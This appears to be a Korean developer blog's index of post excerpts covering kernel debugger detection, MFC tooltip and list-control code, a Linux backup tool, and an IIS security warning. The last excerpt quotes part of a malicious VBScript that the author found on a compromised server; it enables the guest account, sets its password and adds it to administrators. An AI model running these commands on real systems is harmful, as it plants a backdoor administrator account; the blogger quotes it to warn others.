How to detect kernel debugger

정령 커널 디버거 탐지는 어찌해야 한단 말인가.. 이틀째 삽을 들고 파고 있다 ㅠ_ㅠ 일단 참고 할 것 들.. Anti-VMware and Anti-debugging: Malicious samples don't run in VMware environments and (of course) they can detect the presence of popular debuggers like Softice, WinDbg, and Ollydbg by using INT41/INT3 tricks or by checking for the presence of debugger drivers. 출처 : http://www.symantec.com/enterprise/security_response/weblog/2006/10/..

툴팁 클래스 사용방법, 트래킹 방법, 모의 테스트

비밀번호 입력란에 caps lock 이 켜져 있으면 위 사진과 같은 툴팁이 뜬다. 사진을 보면 알겠지만 위의 입력란은 *** 로 나타나지 않는 것을 보면 알듯이 비밀번호 입력박스가 아니라 일반 텍스트 박스다. 위 사진과 같이 아이콘과 제목, 멀티 라인이 들어간 툴팁을 임의의 위치에 띄우는 방법을 아래에 기술한다. // 1. 전역 변수로 두개의 변수를 선언한다. CToolTipCtrl m_tooltip; TOOLINFO info // 초기화 함수에 아래와 같이 초기화를 시켜준다. m_tooltip.Create(this, TTS_BALLOON); m_tooltip.Activate(TRUE); memset( &info, 0, sizeof ( TOOLINFO )); info.cbSize = sizeof(TOOL..

윈도우에서 리눅스 파티션 접근 및 백업 툴

커널 패닉 상태에 빠져 있는 페도라5 를 구제하지 못해 자료만이라도 백업하기 위해 e2fs 를 이용했지만 되지 않아 홈페이지에 가보니 새버젼이 업뎃되어 있었다. 새버젼는 제대로 작동을 잘~ 하였다. 아래는 바이너리 파일

C&C 3 이온 캐논 한 발

clistcontrol initializing

///////////////////////////////////////////////// // 1. 리스트컨트롤에 사용할 정보 구조체를 설정한다. ///////////////////////////////////////////////// typedef struct _ListCtrlInfo { intnSize;// 열개수 int*iLstCtrlCx;// 열크기 char**achLstCtrlHeaderName;// 열이름 int*dwLstCtrlAlign;// 열정렬 } ListCtrlInfo; ///////////////////////////////////////////////// // 2. 클래스 변수로 구조체 변수를 선언한다. ///////////////////////////////////////////..

IIS 서버 사용시 주의

회사 서버에서 괴상 망측한 서비스가 3개 정도 돌아가길래.. 이래저래 중지 시키고 관련된 파일을 수거 하던 중.. 악성 스크립트를 포착.. 주요 경로는 임의의 웹 페이지에서 파일을 다운로드와 동시에 실행시켜 시스템 폴더로 서비스 dll 과 vb 스크립트를 설치 해당 서버를 원격 조정할 수 있게 만드는 것을 발견하였다. 스크립트 파일의 내용 dim wsh set wsh=createobject("wscript.shell") wsh.run "net user guest /active:yes",0 wsh.run "net user guest 2539556633",0 wsh.run "net localgroup administrators guest /add",0 with wscript:if .arguments.coun..